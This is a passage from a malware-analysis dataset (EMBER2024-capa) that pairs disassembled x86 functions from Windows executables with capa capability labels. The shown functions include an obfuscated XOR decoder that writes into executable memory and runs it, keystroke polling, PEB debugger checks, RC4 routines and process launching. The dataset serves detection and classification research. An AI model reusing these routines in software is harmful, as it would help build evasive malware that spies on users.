joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4a8b78
Capabilities:
Inspect load icon resource

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffdfc
push ebx
push esi
test dl, dl
je 0x4a8b8f
add esp, 0xfffffff0
call fcn.00405864
mov byte [ebp - 1], dl
mov ebx, eax
xor edx, edx
mov eax, ebx
call fcn.00447590
mov eax, dword [0x51d624]
cmp byte [eax], 0
jne 0x4a8bbc
push 0
call sub.ole32.dll_OleInitialize
test eax, 0x80000000
sete al
mov byte [ebx + 0x17c], al
mov eax, dword [0x51db6c]
cmp word [eax + 2], 0
jne 0x4a8bd6
mov eax, dword [0x51db6c]
mov dword [eax + 4], ebx
mov dword [eax], fcn.004aac40
mov eax, dword [0x51dd34]
cmp word [eax + 2], 0
jne 0x4a8bf0
mov eax, dword [0x51dd34]
mov dword [eax + 4], ebx
mov dword [eax], fcn.004aae44
mov byte [ebx + 0x35], 0
mov dl, 1
mov eax, dword [0x44e420]
call fcn.004536b4
mov esi, eax
mov dword [ebx + 0x3c], esi
mov dword [esi + 0xc], ebx
mov dword [esi + 8], 0x4ab3bc
mov dl, 1
mov eax, dword [0x42fb20]
call fcn.0040531c
mov dword [ebx + 0x90], eax
mov dl, 1
mov eax, dword [0x42fb20]
call fcn.0040531c
mov dword [ebx + 0xb0], eax
xor eax, eax
mov dword [ebx + 0x60], eax
xor eax, eax
mov dword [ebx + 0x84], eax
mov dword [ebx + 0x5c], 0xff000018
mov dword [ebx + 0x78], 0x1f4
mov byte [ebx + 0x7c], 1
xor eax, eax
mov dword [ebx + 0x80], eax
mov dword [ebx + 0x74], 0x9c4
mov byte [ebx + 0x88], 0
mov byte [ebx + 0xa5], 1
mov byte [ebx + 0xbc], 1
mov dl, 1
mov eax, dword [0x451d18]
call fcn.0045a4fc
mov esi, eax
mov dword [ebx + 0xa0], esi
push 0x4a8dd0
mov eax, dword [0x51d944]
mov eax, dword [eax]
push eax
call sub.user32.dll_LoadIconW
mov edx, eax
mov eax, esi
call fcn.0045a990
mov eax, dword [ebx + 0xa0]
mov dword [eax + 0x14], ebx
mov dword [eax + 0x10], 0x4ab6a4
mov dl, 1
mov eax, dword [0x42fb20]
call fcn.0040531c
mov dword [ebx + 0x98], eax
push pe_nt_image_headers32
lea eax, [ebp - 0x202]
push eax
mov eax, dword [0x51d944]
mov eax, dword [eax]
push eax
call sub.kernel32.dll_GetModuleFileNameW_1
lea eax, [ebp - 0x202]
mov dx, 0x5c
call fcn.0041c800
test eax, eax
je 0x4a8d01
lea edx, [eax + 2]
lea eax, [ebp - 0x202]
call fcn.0041c560
lea eax, [ebp - 0x202]
mov dx, 0x2e
call fcn.0041c7e4
test eax, eax
je 0x4a8d19
mov word [eax], 0
lea eax, [ebp - 0x202]
push eax
call sub.user32.dll_CharNextW_1
push eax
call sub.user32.dll_CharLowerW
lea eax, [ebx + 0x8c]
lea edx, [ebp - 0x202]
mov ecx, pe_nt_image_headers32
call fcn.00407800
push ebx
push 0x4aa62c
call fcn.0049e988
mov dword [ebx + 0x178], eax
mov byte [ebx + 0xd0], 0
mov eax, dword [0x51d624]
cmp byte [eax], 0
jne 0x4a8d6a
mov eax, ebx
call fcn.004a8f44
mov byte [ebx + 0x59], 1
mov byte [ebx + 0x5a], 1
mov byte [ebx + 0x5b], 1
mov byte [ebx + 0xa6], 1
mov byte [ebx + 0xd1], 0
mov byte [ebx + 0xdc], 0
xor eax, eax
mov dword [ebx + 0xd4], eax
mov byte [ebx + 0xd3], 0
xor eax, eax
mov dword [ebx + 0xa8], eax
mov eax, ebx
call fcn.004ab8d0
mov eax, ebx
call fcn.004ac500
mov eax, ebx
cmp byte [ebp - 1], 0
je 0x4a8dc7
call fcn.004058bc
pop dword fs:[0]
add esp, 0xc
mov eax, ebx
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4a9210
Capabilities:
Enumerate gui resources

Disassembly:
push ebx
push esi
add esp, 0xfffffff8
mov ebx, eax
mov eax, dword [ebx + 0x170]
test eax, eax
je 0x4a92b2
cmp dword [ebx + 0x94], 0
jne 0x4a92ac
mov dword [esp], eax
mov byte [esp + 4], dl
mov eax, esp
push eax
push 0x4a915c
call sub.user32.dll_EnumWindows
mov eax, dword [ebx + 0x90]
cmp dword [eax + 8], 0
je 0x4a92ac
push 3
mov eax, dword [esp + 4]
push eax
call sub.user32.dll_GetWindow
mov esi, eax
mov dword [esp], esi
push 0xffffffffffffffec
push esi
call sub.user32.dll_GetWindowLongW
test al, 8
je 0x4a9272
mov dword [esp], 0xfffffffe
mov eax, dword [ebx + 0x90]
mov esi, dword [eax + 8]
dec esi
cmp esi, 0
jl 0x4a92ac
push 0x213
push 0
push 0
push 0
push 0
mov eax, dword [esp + 0x14]
push eax
mov edx, esi
mov eax, dword [ebx + 0x90]
call fcn.0043afc4
push eax
call sub.user32.dll_SetWindowPos
dec esi
cmp esi, 0xffffffff
jne 0x4a9281
inc dword [ebx + 0x94]
pop ecx
pop edx
pop esi
pop ebx
ret

Function at 0x4a94d0
Capabilities:
Enumerate gui resources
Hide graphical window

Disassembly:
push ebx
push esi
push edi
mov ebx, edx
mov esi, eax
mov eax, dword [0x52424c]
cmp dword [eax + 0x170], 0
je 0x4a9635
test bl, bl
jne 0x4a9583
cmp dword [esi + 0x9c], 0
jne 0x4a9578
mov eax, esi
call fcn.004ac350
push eax
push 0x4a93dc
call sub.user32.dll_EnumWindows
cmp dword [esi + 0x44], 0
je 0x4a9549
mov eax, dword [0x52424c]
cmp byte [eax + 0xd3], 0
je 0x4a9549
mov eax, dword [esi + 0xd8]
call fcn.004088c8
mov edi, eax
cmp edi, 0
jl 0x4a9549
push 0
mov eax, dword [esi + 0xd8]
mov eax, dword [eax + edi*4]
push eax
call sub.user32.dll_ShowWindow
dec edi
cmp edi, 0xffffffff
jne 0x4a9532
mov eax, dword [esi + 0x98]
mov edi, dword [eax + 8]
dec edi
cmp edi, 0
jl 0x4a9578
cmp bl, 1
cmc
sbb eax, eax
push eax
mov edx, edi
mov eax, dword [esi + 0x98]
call fcn.0043afc4
push eax
call sub.user32.dll_ShowOwnedPopups
dec edi
cmp edi, 0xffffffff
jne 0x4a9558
inc dword [esi + 0x9c]
jmp 0x4a9635
cmp dword [esi + 0x9c], 0
jle 0x4a9635
dec dword [esi + 0x9c]
cmp dword [esi + 0x9c], 0
jne 0x4a9635
cmp dword [esi + 0x44], 0
je 0x4a95e0
mov eax, dword [0x52424c]
cmp byte [eax + 0xd3], 0
je 0x4a95e0
mov eax, dword [esi + 0xd8]
call fcn.004088c8
mov edi, eax
cmp edi, 0
jl 0x4a95e0
push 5
mov eax, dword [esi + 0xd8]
mov eax, dword [eax + edi*4]
push eax
call sub.user32.dll_ShowWindow
dec edi
cmp edi, 0xffffffff
jne 0x4a95c9
mov eax, dword [esi + 0x98]
mov edi, dword [eax + 8]
dec edi
cmp edi, 0
jl 0x4a960f
cmp bl, 1
cmc
sbb eax, eax
push eax
mov edx, edi
mov eax, dword [esi + 0x98]
call fcn.0043afc4
push eax
call sub.user32.dll_ShowOwnedPopups
dec edi
cmp edi, 0xffffffff
jne 0x4a95ef
mov eax, dword [esi + 0x98]
mov edx, dword [eax]
call dword [edx + 8]
push 0
lea eax, [esi + 0xd8]
mov ecx, 1
mov edx, dword [0x49c860]
call fcn.00408a88
add esp, 4
pop edi
pop esi
pop ebx
ret
Function at 0x4aa278
Capabilities:
Get graphical window text

Disassembly:
push ebx
push esi
add esp, 0xfffffdfc
mov esi, edx
mov ebx, eax
cmp byte [ebx + 0xac], 0
je 0x4aa2e3
cmp byte [ebx + 0xd3], 0
jne 0x4aa2e3
push pe_nt_image_headers32
lea eax, [esp + 4]
push eax
mov eax, dword [ebx + 0x170]
push eax
call sub.user32.dll_GetWindowTextW
mov ecx, eax
mov edx, esp
mov eax, esi
call fcn.00406f08
mov eax, dword [esi]
mov dword [esp + 0x200], eax
mov eax, dword [esp + 0x200]
test eax, eax
je 0x4aa2d0
sub eax, 4
mov eax, dword [eax]
test eax, eax
jne 0x4aa2f0
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00407160
jmp 0x4aa2f0
mov eax, esi
mov edx, dword [ebx + 0x8c]
call fcn.00407160
add esp, 0x204
pop esi
pop ebx
ret

Function at 0x4abab8
Capabilities:
Hide graphical window

Disassembly:
push ebx
push esi
mov ebx, eax
mov esi, dword [ebx + 0x84]
test esi, esi
je 0x4abb26
mov eax, esi
call fcn.00476110
test al, al
je 0x4abb26
mov eax, dword [ebx + 0x84]
call fcn.00475d90
push eax
call sub.user32.dll_IsWindowVisible
test eax, eax
je 0x4abb26
mov eax, dword [ebx + 0x84]
mov edx, dword [eax]
call dword [edx + 0xfc]
test al, al
je 0x4abb1a
push 0
mov eax, dword [ebx + 0x84]
call fcn.00475d90
push eax
call sub.user32.dll_ShowWindow
xor edx, edx
mov eax, dword [ebx + 0x84]
call fcn.0046cdc4
jmp 0x4abb26
mov cl, 1
mov edx, dword [ebx + 0x74]
mov eax, ebx
call fcn.004ab8f0
pop esi
pop ebx
ret
Function at 0x4c5ab0
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov esi, ecx
mov dword [ebp - 8], edx
mov edi, eax
xor eax, eax
push ebp
push 0x4c5bd8
push dword fs:[eax]
mov dword fs:[eax], esp
movzx eax, word [ebp + 8]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x2c]
push eax
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp - 8]
mov eax, edi
call fcn.004c599c
mov eax, dword [esi]
call fcn.004088c0
add eax, 0x28
push eax
lea eax, [ebp - 4]
mov ecx, 1
mov edx, dword [0x41668c]
call fcn.00408a88
add esp, 4
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x1c]
mov ecx, 0x1c
call fcn.0040457c
mov ebx, 0x1c
mov eax, dword [ebp - 4]
lea edx, [eax + ebx]
lea eax, [ebp - 0x2c]
mov ecx, 0x1c
call fcn.0040457c
add ebx, 0x1c
mov eax, dword [esi]
call fcn.004088c0
mov dword [ebp - 0xc], eax
mov eax, dword [0x51df00]
mov eax, dword [eax]
mov edx, dword [ebp - 0xc]
mov ecx, dword [eax]
call dword [ecx + 0x30]
lea edx, [ebp - 4]
mov ecx, ebx
call fcn.004adf94
add ebx, 4
mov eax, dword [ebp - 4]
add eax, ebx
xor ecx, ecx
mov edx, 3
call fcn.00404bf8
add ebx, 3
mov eax, dword [ebp - 4]
mov byte [eax + ebx], 0x3a
inc ebx
mov eax, dword [esi]
mov byte [eax + 2], 0
mov eax, dword [esi]
mov byte [eax + 3], 0
push ebx
mov eax, dword [esi]
call fcn.004088c0
push eax
lea ecx, [ebp - 4]
mov eax, dword [esi]
xor edx, edx
call fcn.004adf70
mov edx, dword [ebp - 4]
mov eax, edi
mov ecx, dword [eax]
call dword [ecx + 0x94]
mov ebx, eax
mov eax, ebx
call fcn.004add74
mov edx, esi
mov ecx, dword [ebp + 0x10]
call fcn.004adf8c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4c5bdf
lea eax, [ebp - 4]
mov edx, dword [0x41668c]
call fcn.00408a94
ret

Function at 0x4cb20c
Capabilities:
Get hostname

Disassembly:
push ebx
add esp, 0xfffffff8
mov ebx, eax
mov eax, ebx
mov edx, 0x10
call fcn.004078d8
mov eax, dword [ebx]
mov dword [esp + 4], eax
mov eax, dword [esp + 4]
test eax, eax
je 0x4cb231
sub eax, 4
mov eax, dword [eax]
mov dword [esp], eax
push esp
mov eax, dword [ebx]
call fcn.00407764
push eax
call sub.kernel32.dll_GetComputerNameW
test eax, eax
je 0x4cb250
mov eax, ebx
mov edx, dword [esp]
call fcn.004078d8
pop ecx
pop edx
pop ebx
ret
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCR71.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x402bf1
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
pushal
call 0x402c00
pop dword [ebp - 0x44]
mov eax, 0xa762bda
sub eax, 0xa35ffda
sub dword [ebp - 0x44], eax
mov dword [ebp - 0x54], 0xf082eb85
sub dword [ebp - 0x54], 0xa230a63a
mov dword [ebp - 0x50], 0x2ef6b06c
add dword [ebp - 0x50], 0x33c9bd9
mov dword [ebp - 0x4c], 0x8222c70e
sub dword [ebp - 0x4c], 0x35d682e0
mov dword [ebp - 0x48], 0xeebf89ba
add dword [ebp - 0x48], 0x11407646
lea eax, [ebp - 0x54]
push eax
mov eax, 0x246c084d
add eax, 0xdbd4783f
add eax, dword [ebp - 0x44]
call dword [eax]
mov dword [ebp - 0x54], 0xa4882778
add dword [ebp - 0x54], 0xcfea41de
mov dword [ebp - 0x50], 0x3a0f2454
sub dword [ebp - 0x50], 0xf8a2c2df
mov dword [ebp - 0x4c], 0xaa8ce31c
sub dword [ebp - 0x4c], 0x471d76b0
mov dword [ebp - 0x48], 0x946d0ea5
add dword [ebp - 0x48], 0x6b92f15b
lea ebx, [ebp - 0x54]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x44]
call dword [eax]
push 0x40
push 0x1000
push 0x392da
push 0
call eax
mov ecx, 0x51f5
xor ebx, ebx
add ebx, eax
mov esi, 0x51b19307
add esi, 0xae8f7cf9
add esi, dword [ebp - 0x44]
mov edi, 0x380eac8c
sub edi, 0xad50c37b
sub dword [ebp - 4], 0xb0e3da8
mov edx, dword [esi]
add dword [ebp - 0x2c], 0xd352d02f
xor edx, edi
mov dword [ebx], edx
xor dword [ebp - 0xc], ebx
add ebx, 4
add esi, 4
loop 0x402d19
add eax, 0xc762be46
add eax, 0x389e7c61
xor ebx, ebx
add ebx, eax
add eax, 0x11c0b3f6
add eax, 0xee3f4c0f
mov ecx, 0x874c7df8
sub ecx, 0x870c7df8
add ecx, dword [ebp - 0x44]
call ebx
leave
ret
Function at 0x40152a
Capabilities:
Encode data using base64 via winapi

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x148
lea eax, [ebp - 0x124]
mov dword [esp + 8], 1
mov dword [esp + 0x10], eax
lea eax, [ebp - 0x120]
mov dword [esp + 0xc], eax
lea eax, [ebp - 0x10c]
mov dword [esp + 4], 1
mov dword [esp], eax
mov dword [ebp - 0x124], 0x14
mov byte [ebp - 0x10c], 0
call dword [sym.imp.CRYPT32.dll_CryptBinaryToStringW]
movzx eax, word [ebp - 0x120]
sub esp, 0x14
leave
sub eax, 0x41
ret

Function at 0x401586
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0xa4
mov dword [ebp - 0x88], 0
call fcn.0040152a
test eax, eax
jne 0x401620
lea eax, [ebp - 0x8c]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], eax
mov eax, 0x4020b6
sub eax, 0x401654
mov dword [esp], 0x401654
mov dword [esp + 4], eax
mov dword [ebp - 0x8c], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
sub esp, 0x10
cmp dword [ebp - 0x8c], 0
je 0x401620
lea ebx, [ebp - 0x88]
mov dword [esp], 0
call fcn.00401420
mov dword [esp + 4], ebx
mov dword [esp], 0
call fcn.004014a3
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1b600
mov dword [esp], 0x40300c
call fcn.00401db9
xor eax, eax
mov ebx, dword [ebp - 4]
leave
ret

Function at 0x43d0a7
Capabilities:
Encode data using xor

Disassembly:
mov ecx, 0x43ce2e
call fcn.0043d0c8
sub edx, edx
mov eax, 0x2c7a5597
xor dword [esi], ecx
sub eax, edx
and eax, eax
inc esi
and eax, eax
cmp esi, ebx
jne fcn.0043d0a7
or eax, edx
ret
Function at 0x41cae0
Capabilities:
Enumerate files on windows

Disassembly:
push 0xffffffffffffffff
push 0x4964ab
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x180
push ebx
push ebp
mov ebp, ecx
lea ecx, [esp + 8]
lea eax, [ebp + 0x40]
push eax
call fcn.0048834a
mov ecx, dword [esp + 8]
mov dword [esp + 0x190], 0
mov eax, dword [ecx - 8]
test eax, eax
je 0x41cb62
lea edx, [esp + 0x10]
push 1
push edx
lea ecx, [esp + 0x10]
call fcn.00485af0
mov eax, dword [eax]
push 0x5c2240
push eax
call fcn.00477844
add esp, 8
lea ecx, [esp + 0x10]
test eax, eax
setne bl
call fcn.004885d5
test bl, bl
je 0x41cb62
push 0x5c2240
lea ecx, [esp + 0xc]
call fcn.004889b1
push 0x5c5e0c
lea ecx, [esp + 0xc]
call fcn.004889b1
mov ecx, dword [esp + 8]
lea eax, [esp + 0x48]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [esp + 0xc], eax
jne 0x41cb9e
lea ecx, [esp + 8]
mov dword [esp + 0x190], eax
call fcn.004885d5
jmp 0x41cc69
push esi
mov esi, dword [esp + 0x19c]
push edi
mov edi, dword [sym.imp.USER32.dll_SendMessageA]
mov ebx, 0x23
test byte [esp + 0x50], 0x10
je 0x41cc22
lea edx, [esp + 0x7c]
push 0x5c5e08
push edx
call fcn.00477844
add esp, 8
test eax, eax
je 0x41cc22
lea eax, [esp + 0x7c]
push 0x5c5e04
push eax
call fcn.00477844
add esp, 8
test eax, eax
je 0x41cc22
mov eax, dword [ebp + 0x1c]
lea edx, [esp + 0x1c]
push edx
push 0
lea ecx, [esp + 0x84]
push 0x1100
push eax
mov dword [esp + 0x2c], esi
mov dword [esp + 0x30], 0xffff0003
mov dword [esp + 0x4c], 0
mov dword [esp + 0x50], 1
mov dword [esp + 0x44], ecx
mov dword [esp + 0x34], ebx
call edi
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x50]
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x41cbb2
mov eax, dword [esp + 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
mov ecx, dword [ebp + 0x1c]
push esi
push 2
push 0x1102
push ecx
call edi
lea ecx, [esp + 0x10]
mov dword [esp + 0x198], 0xffffffff
call fcn.004885d5
pop edi
pop esi
mov ecx, dword [esp + 0x188]
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x18c
ret 4

Function at 0x41d910
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 8]
mov edx, dword [esp + 4]
sub esp, 0x10c
lea eax, [esp]
push esi
push eax
push 1
push 0
push ecx
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov esi, eax
test esi, esi
jne 0x41d972
mov edx, dword [esp + 4]
lea eax, [esp + 8]
lea ecx, [esp + 0xc]
push eax
push ecx
push esi
push edx
mov dword [esp + 0x18], 0x104
call dword [sym.imp.ADVAPI32.dll_RegQueryValueA]
mov ecx, dword [esp + 0x11c]
lea eax, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [esp + 4]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
add esp, 0x10c
ret 0xc
Function at 0x41d980
Capabilities:
Create process on windows

Disassembly:
push 0xffffffffffffffff
push 0x49656b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20c
mov eax, dword [0x5cd2d4]
push esi
push edi
mov edi, ecx
mov dword [esp + 8], eax
mov eax, dword [edi + 0x44]
mov dword [esp + 0x21c], 0
test eax, eax
jne 0x41dab8
mov ecx, dword [edi + 0x48]
lea esi, [edi + 0x48]
mov eax, dword [ecx - 8]
test eax, eax
jne 0x41d9e6
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004885d5
xor eax, eax
jmp 0x41db2f
push str.mailto:
lea ecx, [esp + 0xc]
call fcn.0048875e
push esi
lea ecx, [esp + 0xc]
call fcn.004889ed
mov ecx, dword [esp + 8]
push ebx
push ebp
mov ebp, dword [esp + 0x22c]
push ebp
push 0
push 0
push ecx
push 0x5c5e44
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov esi, eax
cmp esi, 0x20
ja 0x41db0d
lea edx, [esp + 0x14]
mov ecx, edi
push edx
push str..htm
push closesocket
call fcn.0041d910
test eax, eax
jne 0x41db0d
mov ebx, dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x14]
push str._shellopencommand
push eax
call ebx
lea ecx, [esp + 0x14]
lea edx, [esp + 0x14]
push ecx
push edx
push closesocket
mov ecx, edi
call fcn.0041d910
test eax, eax
jne 0x41db0d
lea eax, [esp + 0x14]
push 0x5c5e20
push eax
call fcn.00478b90
mov esi, eax
add esp, 8
test esi, esi
jne 0x41daec
lea ecx, [esp + 0x14]
push 0x5c5e1c
push ecx
call fcn.00478b10
mov esi, eax
add esp, 8
test esi, esi
jne 0x41daec
lea edx, [esp + 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
lea esi, [esp + eax + 0x13]
jmp 0x41daef
lea edx, [edi + 0x4c]
lea ecx, [esp + 8]
push edx
call fcn.0048870e
mov eax, dword [esp + 8]
mov ecx, dword [eax - 8]
test ecx, ecx
jne 0x41d9fe
lea ecx, [esp + 8]
mov dword [esp + 0x21c], 0xffffffff
call fcn.004885d5
xor eax, eax
jmp 0x41db2f
mov byte [esi], 0
push 0x5c5e18
push esi
call ebx
mov eax, dword [esp + 0x10]
push eax
push esi
call ebx
lea ecx, [esp + 0x14]
push ebp
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
mov esi, eax
xor edx, edx
cmp esi, 0x20
setg dl
lea ecx, [esp + 0x10]
mov esi, edx
mov dword [esp + 0x224], 0xffffffff
call fcn.004885d5
pop ebp
mov eax, esi
pop ebx
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x218
ret 4
Function at 0x422a1a
Capabilities:
Access peb ldr_data
Get process heap force flags

Disassembly:
push 0xffffffffffffffff
push 0x496b58
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x20
push ebx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0x10], esi
call fcn.00489c47
xor ebp, ebp
mov dword [esi], 0x5ad300
mov dword [esi + 0x3c], ebp
mov dword [esi + 0x40], ebp
lea edi, [esi + 0x44]
mov dword [esp + 0x38], ebp
mov dword [esp + 0x14], edi
lea ecx, [edi + 0x18]
mov dword [edi], fcn.004668d0
call fcn.00410bf0
lea ecx, [edi + 0x30]
mov byte [esp + 0x38], 1
call fcn.00487330
lea ebx, [edi + 0x44]
mov ecx, ebx
call fcn.00410bf0
mov dword [ebx], 0x5aadb4
mov dword [edi], 0x5ad224
mov dword [esi + 0xa0], ebp
mov dword [esi + 0x9c], vtable.CFont.0
lea ecx, [esi + 0xb0]
call fcn.00410bf0
lea edi, [esi + 0xc8]
mov dword [edi + 4], ebp
mov dword [edi], vtable.CBitmap.0
mov byte [esp + 0x38], 5
mov dword [esi], 0x5ad22c
mov dword [esi + 0xac], ebp
call fcn.00492579
mov eax, dword [eax + 0xc]
push 0x40e
push eax
call dword [sym.imp.USER32.dll_LoadBitmapA]
push eax
mov ecx, edi
call fcn.0048f3b9
mov ecx, dword [esi + 0xcc]
lea eax, [esp + 0x18]
push eax
push 0x18
push ecx
call dword [sym.imp.GDI32.dll_GetObjectA]
mov ecx, dword [esp + 0x1c]
mov eax, 0x55555556
imul ecx
mov ecx, dword [esp + 0x20]
mov eax, edx
shr eax, 0x1f
add edx, eax
mov dword [esi + 0xd4], ecx
mov ecx, dword [esp + 0x30]
mov dword [esi + 0xd0], edx
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0x2c
ret

Function at 0x422bd0
Capabilities:
Access peb ldr_data
Get process heap force flags

Disassembly:
push 0xffffffffffffffff
push 0x496be5
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push esi
mov esi, ecx
push edi
mov dword [esp + 8], esi
mov dword [esi], 0x5ad22c
mov dword [esp + 0x18], 0
lea ecx, [esi + 0xc8]
mov dword [esp + 0xc], ecx
mov dword [ecx], vtable.CGdiObject.0
mov byte [esp + 0x18], 4
call fcn.0048f410
lea ecx, [esi + 0xb0]
mov byte [esp + 0x18], 2
mov dword [ecx], 0x5aadb0
call fcn.00410df0
lea ecx, [esi + 0x9c]
mov dword [esp + 0xc], ecx
mov dword [ecx], vtable.CGdiObject.0
mov byte [esp + 0x18], 5
call fcn.0048f410
lea edi, [esi + 0x44]
mov dword [esp + 0xc], edi
lea ecx, [edi + 0x44]
mov byte [esp + 0x18], 7
mov dword [ecx], 0x5aadb0
call fcn.00410df0
lea ecx, [edi + 0x30]
mov byte [esp + 0x18], 6
call fcn.00487363
lea ecx, [edi + 0x18]
mov byte [esp + 0x18], 0
mov dword [ecx], 0x5aadb0
call fcn.00410df0
mov ecx, esi
mov dword [esp + 0x18], 0xffffffff
call fcn.0049086a
mov ecx, dword [esp + 0x10]
pop edi
pop esi
mov dword fs:[0], ecx
add esp, 0x14
ret
Function at 0x432fb0
Capabilities:
Log keystrokes via polling

Disassembly:
mov eax, dword [esp + 4]
push esi
push edi
mov edi, dword [sym.imp.USER32.dll_GetKeyState]
mov cl, byte [eax + 8]
and ecx, 0xff
mov esi, ecx
cmp si, 0x60
jb 0x43301e
cmp si, 0x69
ja 0x43301e
add esi, 0xffd0
cmp si, 0x11
je 0x432fee
push 0x11
call edi
test ax, ax
jge 0x432fee
or esi, 0x2000
cmp si, 0x10
je 0x433003
push 0x10
call edi
test ax, ax
jge 0x433003
or esi, 0x4000
cmp si, 0x12
je 0x433018
push 0x12
call edi
test ax, ax
jge 0x433018
or esi, 0x8000
mov ax, si
pop edi
pop esi
ret
cmp si, 0x6d
jne 0x43302b
mov esi, 0xbd
jmp 0x432fdf
cmp si, 0x6e
jne 0x433038
mov esi, 0xbe
jmp 0x432fdf
cmp si, 0x6f
jne 0x432fd9
mov esi, 0xbf
jmp 0x432fdf

Function at 0x4347e0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ecx
mov eax, dword [0x5de290]
xor edx, edx
cmp eax, edx
jne 0x434806
xor eax, eax
mov byte [eax + 0x5de190], al
inc eax
cmp eax, 0x100
jl 0x4347ee
mov dword [0x5de290], 1
mov eax, dword [esp + 0xc]
push ebx
mov ebx, dword [esp + 0x14]
push esi
push edi
mov ecx, 0x40
mov esi, 0x5de190
mov edi, ebx
rep movsd dword es:[edi], dword [esi]
cmp eax, edx
mov byte [ebx + 0x100], dl
mov byte [ebx + 0x101], dl
jle 0x434897
xor esi, esi
push ebp
mov byte [esp + 0x20], dl
xor ecx, ecx
mov edi, dword [esp + 0x20]
mov ebp, dword [esp + 0x18]
mov al, byte [esi + ebx]
and edi, 0xff
xor edx, edx
mov dl, byte [edi + ebp]
mov ebp, eax
and ebp, 0xff
add ecx, edx
add ecx, ebp
and ecx, 0x800000ff
jns 0x43486a
dec ecx
or ecx, 0xffffff00
inc ecx
mov byte [esp + 0x10], cl
mov ecx, dword [esp + 0x10]
and ecx, 0xff
mov dl, byte [ecx + ebx]
mov byte [esi + ebx], dl
mov byte [ecx + ebx], al
lea eax, [edi + 1]
cdq
idiv dword [esp + 0x1c]
inc esi
cmp esi, 0x100
mov byte [esp + 0x20], dl
jl 0x434838
pop ebp
pop edi
pop esi
pop ebx
pop ecx
ret

Function at 0x434910
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [ebp + 0x10]
push ebx
push esi
push edi
mov cl, byte [eax + 0x100]
mov dl, byte [eax + 0x101]
mov dword [ebp - 8], eax
mov byte [ebp - 1], cl
mov byte [ebp - 2], dl
xor ebx, ebx
mov bl, byte [ebp - 1]
xor edx, edx
mov dl, byte [ebp - 2]
mov esi, dword [ebp - 8]
mov edi, dword [ebp + 8]
xor eax, eax
mov ecx, dword [ebp + 0xc]
test ecx, ecx
jle 0x434963
inc bl
mov al, byte [esi + ebx]
add dl, al
xchg byte [esi + edx], al
mov byte [esi + ebx], al
add al, byte [esi + edx]
mov al, byte [esi + eax]
xor byte [edi], al
inc edi
dec ecx
jne 0x43494a
mov byte [ebp - 1], bl
mov byte [ebp - 2], dl
mov eax, dword [ebp + 0x10]
mov cl, byte [ebp - 1]
mov dl, byte [ebp - 2]
pop edi
pop esi
mov byte [eax + 0x100], cl
